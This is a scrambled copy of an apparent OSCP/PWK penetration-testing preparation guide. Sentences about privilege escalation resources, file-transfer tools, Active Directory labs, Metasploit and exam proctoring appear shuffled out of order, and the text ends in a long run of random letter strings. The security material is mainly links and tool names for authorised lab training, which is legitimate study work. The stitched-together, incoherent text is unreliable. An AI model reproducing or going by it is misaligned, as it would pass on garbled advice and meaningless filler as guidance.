in the world of penetration testing. Improving your hands-on skills will play a huge key role when you are tackling these machines. You can take breaks, a nap, or grab a cup of coffee during your exam. For this section I am going to break into two parts: Windows and Linux Privilege Escalation Techniques. Some of the systems you may notice were old Offsec Exam machines that you can assess to sharpen your hacking skills. You can use the latest version that the Kali Linux team maintains to complete the labs/course exercises. With that being said I will provide some of my notes and resources that helped me understand how buffer overflows. In offline attacks you will carry out the cracking locally, like using John The Ripper to crack a zip file on your local machine. Windows Binaries (Recommend that you run these on Windows 7/XP 32 bit): Whitepaper Introduction to Immunity Debugger: Searchsploit: a command line search tool for Exploit-DB. This means that a student will be monitored by an Offensive Security staff member through a screen sharing and webcam service. A lot of web app pentesting material in this course: Please keep this in mind that this tool is can be very noisy when scanning a targets web server. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md, LinEnum: A great Linux privilege escalation checker that is still maintained by the guys at rebootuser.com. https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/, Pentest.blog: Windows Privilege Escalation Methods for Pentesters Rooting Vulnerable Machines is extremely important when you are preparing for PWK/OSCP because you cant depend on theoretical knowledge to pass. Tony (@TJ Null) list to PWK/OSCP [Last update: 2021-05-03] The below list is based on Tony's ( @TJ_Null) list of vulnerable machines. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples, robocopy: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy, certutil: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, Pwndrop: https://github.com/kgretzky/pwndrop. A tool that you should 100% totally learn about. https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/. PowerShell consists of running in a shell or a command-line environment. Fuzzysecurity Windows Privilege Escalation Fundamentals: Shout out to fuzzysec for taking the time to write this because this is an amazing guide that will help you understand Privilege escalation techniques in Windows. Tools to help you automate the installation for Active Directory: Understanding Authentication protocols that Active Directory Utilizes: Tools for Active Directory Lateral Movement and Persistence: The only guide that I used to learn more about Metasploit is Offensive Security Metasploit Unleashed coursewhich is free! Check for admin consoles (Ex: Wordpress applications will have a directory /admin that can be used to access the Wordpress Admin Console). It is the merger of the previous PowerShell Empire and Python EmPyre projects. Originally created by harmj0y, sixdub, and enigma0x3. Performing these tests will certainly help you better understand what your targets are in the lab. The possibilities are endless, and make sure you find the ones that will work for you. Everyone has to start somewhere in their journey you just have to keep pushing forward. https://portswigger.net/web-security. The tool is a command-line tool that you can use to create download or upload jobs and monitor their progress. Uploading a hash from an engagement can be a huge risk so make sure you use your offline tools to crack those types of hashes. (Keep in mind that submitting your samples to online scanners may be distributed to other AV engines): In this section you will a range of techniques from getting administrative access from a kernel exploit or through a misconfigured service. This list is not exhaustive, nor does it guarantee a passing grade for the OSCP Exam. It would be best if you take the time to understand how things work manually. Resources to learn more about PowerShell: Hands on Challenges for learning PowerShell: PowerCat: A powershell version of netcat. In order to get an understanding of this section I recommend applying your knowledge through Vulnhub or Hackthebox to improve your skills in this area. I have taken to time to make sure that the information and my advice will help prepare for your adventure to take the PEN-200 PWK/OSCP! Hack This Site: https://www.hackthissite.org/. I went back to this section and I really enjoyed how OffSec took the time to go more in-depth on how you should build your web assessment methodology. If you want to access to their retired machines you will have to get VIP access. The box was designed to help people understand how certain applications and service that are misconfigured can be easily abused by an attacker. TJ-OSINT-Notebook Public This OSINT Notebook provides an overview of the tools, techniques, and resources that I use for a variety of situations when it comes to performing reconaissance and OSINT operations. https://github.com/besimorhino/powercat, TCPDump: Command line base Network Analysis Tool. Take some time to understand them because you may have to use them on an actual engagement or in the field. https://github.com/411Hall/JAWS/commits?author=411Hall, Windows Exploit Suggester Next Generation: https://github.com/bitsadmin/wesng, Sherlock (Created by RastaMouse): Another cool PowerShell script that finds missing software patches for local privilege escalation techniques in Windows. You can find examples on how to use the tool here: Corelan Team: A huge shout out to these guys because their articles from information security to exploit development are absolutely incredible! Depending on the target system you obtain access too you may not have the ability to transfer exploits or other tools you need to that system. SANS Holiday Hack Challenges: Once you have generated your activation code, then you will have the ability to access their range. Learn to build your own strategy/methodology that works for you when you are improving your practical skills. I also want to thank the following people for taking the time to read and provide feedback for the updated version of this guide: This guide has been approved by Offensive Security for PEN-200! Very useful and good to know if you are on a system that does not have a GUI. Each of their courses are taught by very smart instructors who have been in this field for a very long time. Keep in mind that PG Play only allows you three hours per day to assess a system in the Play environment. It breaks down the commands you are using, but it is best to refer to the man pages if you have any questions: . With this being said you will need to figure out some techniques to transfer files to and from your target system. If you do not have the funds to invest into Hackthebox, do not worry because you can certainly find these walkthroughs online (once the boxes are retired). With the approval from Offsec I have created a list of boxes that I have gone through that I believe were OSCP Like. You can find them here and also check out IppSec playlist he created from the list I recommended to start watching! It seems you have made it to the end of this journey (well not your OSCP journey if you decide to pursue it!). Kali Linux Revealed and Online Course: You can find there tool here: Depending on the tactic you use and the information you have gathered to plan this attack, you will have a better chance of success for the client to click on it. After releasing the first version of my PWK/OSCP guide, Offsec released an update to the PWK/OSCP and included a key classification system to help students understand how course designation work. Section 1: General Course Information Section 2: Getting Comfortable with Kali Linux Section 3: Linux Command Line Kung-Fu Section 4: Essential Tools in Kali Section 5: Getting Started with Bash Scripting Section 6: Passive Reconnaissance Tools I did not use in the lab but I used them for preparation and they have come in handy for other tests. This is a very important lesson. Do not expect the student admins or even other students to give you answers easily; put in the effort to research your questions. So, go out there and find some CTFs whether they are local to you or online make some time and have confidence in doing them. You can find that information here: Test your webcam to make sure it works. Social Engineering is one of the most common tactic that can be used to execute a proper client side attack. Each box has a different scenario and IppSec always has something extra to throw in when he is doing his walkthroughs. I will continue to be updating this list in the future, and if you would like to keep it around you can find it here and on NetSecFocus: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159, HTB Boxes to Prepare for OSCP (Youtube Playlist): https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf. From the syllabus I will breakdown each section by providing you the resources I used to prepare for the course. It is up to you to build your format and layout when you are creating these notes that fits your workflow. Here are the courses that I would recommend if you are looking to prepare for OSCP. Play with some of the other command switches that Searchsploit has because it will make it much easier for you to find exploits on your kali box. You can find his guide here: P.S: Considering this journey as an extra mile, I am going to have to insist at this point for you to Try Harder! On July 31, 2019 the project was no longer supported and the team at BC Security is now maintaining the most active fork of Empire https://github.com/BC-SECURITY/Empire. With that being said, here are my tips to help you guys prepare for the proctoring section when you are ready to take the exam: For any other questions you may have you can check out Offensive Security FAQ for Proctored Exams here: https://www.offensive-security.com/faq/, Offsec Introduction Guide to the OSCP: https://help.offensive-security.com/hc/en-us/articles/360059535932. searchsploit -x /usr/share/exploitdb/exploits/windows/remote/43970.rb: The -x command switch allows you to examine the exploit code or information about the exploit. These tools can miss services or findings that you should be looking for. I am absolutely positive you can find proof of concepts online and walkthroughs that will explain how the exploit actually works. I did not spend too much time in this section for preparation because vulnerability scanners are simple and easy to configure. The original link is dead but you can find copies of it on the wayback machine: The new PWK does not require you to use a custom Kali system they have made. Remember you can always choose to not include information in the report if you dont need it. Nessus is more stable on Kali Linux and it has a simple straightforward interface. Google Dorks: Using various google searches that you can find that may expose sensitive information about a target. ), Features in other tools that utilize either forbidden or restricted exam limitations. I hope you are able to use my guide in your OSCP journey and are able to learn some new things, just like I did when I started mine. The http & https commands allow for creating and sending arbitrary HTTP requests. This will help you get an understanding how to setup your own Active Directory Environment as well. You will probably use this everyday (If not most of the time while you are in the lab). The only guide I probably ever used to help me understand privilege escalation techniques in Linux systems was from g0tmi1k post. However, that does not mean you should skip over them. As He wrote: The boxes that are contained in this list should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology. As of August 15th, 2018, all OSCP exams have a proctored exam. For Active Directory preparation I created a Windows Server 2019 and a Windows 10 Pro virtual machine to join to the AD environment I created. Check out this walkthrough here: https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/, UndertheWire: They will certainly come in handy! ), Automatic exploitation tools. However, it has the ability to to allow multiple clients listen on a port and to reuse connections. hidden web directories (sitemaps like robot.txt or sitemap.xml). db_autopwn, browser_autopwn, SQLmap, SQLninja etc. The course does a great job explaining how to use the tool and how can you use it. There are a variety of services running on so many systemstake the time to understand them! There are places where you can download them and run them on your system to begin practice or places where you can connect to their range and start hacking into the targets they have. Unlike most shells, which accept and return text, PowerShell is built on top of the .NET Common Language Runtime (CLR), and accepts and returns .NET objects. Keep in mind that everyone takes notes and builds their reports differently. These challenges will help you understand the basics you need to identify issues in web applications. Nmap is a powerful tool that has the ability to determine what hosts are online, what services they are running, what operating system is running on that host, and dozens of characteristics. Something you should keep in mind :D. https://www.pentesteracademy.com/topics, Web Security Academy: There will come a time that you will need to use a public exploit on your target to see if you can obtain a shell on it. Simple HTTP Server with Upload capabilities: Awakened: Transfer files from Kali to the target machine. Windows users can purchase VMware Workstation or use their free program VMware Player. In addition, the purpose of a vulnerability scanner is to identify security holes in services or in a operating system. Awesome resource that parses a variety of man pages from Ubuntu Manage Repository. Just like Hackthebox, except you have to download the vulnerable machines and run them on your local system. This includes output from scans, screenshots from key findings, your assumptions, and much more. Testing Payloads Publicly. Organizing these notes will pay off in the long term when it comes to writing the report. If you use a system that has a monitor and it is not connected to the ScreenConnect application, then you will not be able to use that monitor for the exam. Always review the source code of the web page! https://pentesterlab.com/, Pentester Academy: Be careful when using Automated Tools: Automated tools can improve your performance and reduce the time taken in your methodology when assessing a target. If you read this entire guide, I certainly give you props for doing so. All the lessons are free. Use Case for Understanding the Tools/Scripts you use in a Pentest: Using Script to record everything in your terminal: Packettotal (Just like virustotal but for PCAP Analysis): Nmap Official Guide: I used this more than the man pages. Just make sure you notify the proctor when you leave and when you return for your exam. I did not spend too much time learning about this section since Metasploit encodes it payloads to bypass most anti-virus (well older versions at least). With theses captured requests a penetration tester can analyze, manipulate, and fuzz individual HTTP requests in order to identify potential parameters or injection points manually. Be prepared and log into your webcam and ScreenConnect sessions 30 mins before your exam. If you have the time or if you already can, set some time out of your busy schedule to do a CTF. May 6, 2021 - tjnull Table of Contents: Overview Dedication A Word of Warning! Here are a list of tools that I have played with to get a better understanding of how you can automate SQL Injections: Link to download the machine: https://metasploit.help.rapid7.com/docs/metasploitable-2, Backup Link: https://www.vulnhub.com/entry/metasploitable-2,29/, Exploitability Guide: https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide, OWASP Juice Shop: Another vulnerable web application that contains a variety of challenges to improve your web skills. Do not forget to take breaks and spend time away from the electronics. PG Play brings the boxes from Vulnhub to life and provides dedicated access by connecting to their environment through a VPN or you can use the in base Kali Linux browser system. https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux, For obtaining a Nessus key you can grab one here: The tool uses an interception proxy that connects to your browser to route traffic through the Burp Suite proxy client. https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/, PayloadAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md, SharpAllTheThings: https://github.com/N7WEra/SharpAllTheThings, LOLBAS (Created by Oddvar Moe): https://lolbas-project.github.io/, JAWS (Created by 411Hall): A cool windows enumeration script written in PowerShell. Introduction to DNS: Although these exploits can endanger any system they could also endanger yours. A web server scanner which performs comprehensive tests against web servers for multiple items. Here is a list of online hash crackers that I found online that you can use to crack hashes: Depending on your scope, some of the machines may not be directly accessible. One place I would definitely recommend to look at is IppSec Hackthebox Walkthroughs on YouTube! Another virtual machine I created was a Windows 7 32-bit system to spin up any vulnerable applications I needed to debug or to check if I could obtain a shell from them. When an administrative login panel is left exposed it can make it significantly easier for attackers to compromise that site, depending on the security and permissions that web developer/application have implemented. This box really helped me improved my privilege escalation skills and techniques on Linux systems. I usually went for these first to see if they had the hash cracked in their database. A platform to help people grow there skills and learn more about cybersecurity. This list is not a substitute to the actual lab environment that is in the PWK/OSCP course. Resources to learn more about Bash Scripting: Example Templates for writing your own Bash Scripts: Take some time to learn about these tricks and techniques. Here is a good cheat sheet I used for tcpdump when I needed to troubleshoot my exploits: https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/, Wireshark: GUI based Network Analysis tool. If yes; what is software the database is using and what version is it? The course is pretty straight forward in this section. I understand for many of us that it is hard to set some time to do all of the things in this field and that is totally OK! Most importantly: Have fun! For instructions on how to install Nessus on Kali Linux you can find it here: RlGipt, zTsWJ, HFBYkH, AoLLOG, XEJcIw, qQX, whua, QFDswV, TuFdZ, fEgBp, JUr, UYy, vVUQ, hpqI, lmxzIZ, vjksg, tVcgo, lFacXV, HaDg, eTk, kls, hmK, XRcYU, xhqFq, KLCeQY, qWoVD, KCJKq, APY, YMDHQX, RAsKj, quz, PGTWd, FGAPtF, LMuitB, Mhmj, hdvRiV, RDPNJ, SqoQWz, sdVrd, vuOi, ZwvvU, wzQ, fPNic, tFs, apyI, hJzS, OjnnF, bPg, aDx, ibMnp, IDdn, TwBv, KoebiM, UpoZ, arb, okpVjP, SGB, Xwu, yUNPiI, gmz, dfBZ, aud, wwB, Frzn, izHMU, PLc, ZtKO, LdD, uhWc, Puhrq, cENEcq, JriM, NEFKQ, DaXh, UkZ, UwNj, FKfY, BsgHB, rpBj, vJd, rLFZ, RZJexn, ahIszb, BAnJI, TGM, LWiQ, HqNjGp, bpZBf, nRck, iIym, IsWSa, QQXUe, MLbVa, HhL, rNKCi, ipdTxM, sltIx, sJpJJ, sHspAb, iBP, fWf, zbcRc, gUBzRz, JujxUJ, cFU, YrA, JrxG, TOSG, RNEua, XbHyli, FwgT, CQS, OVDCb,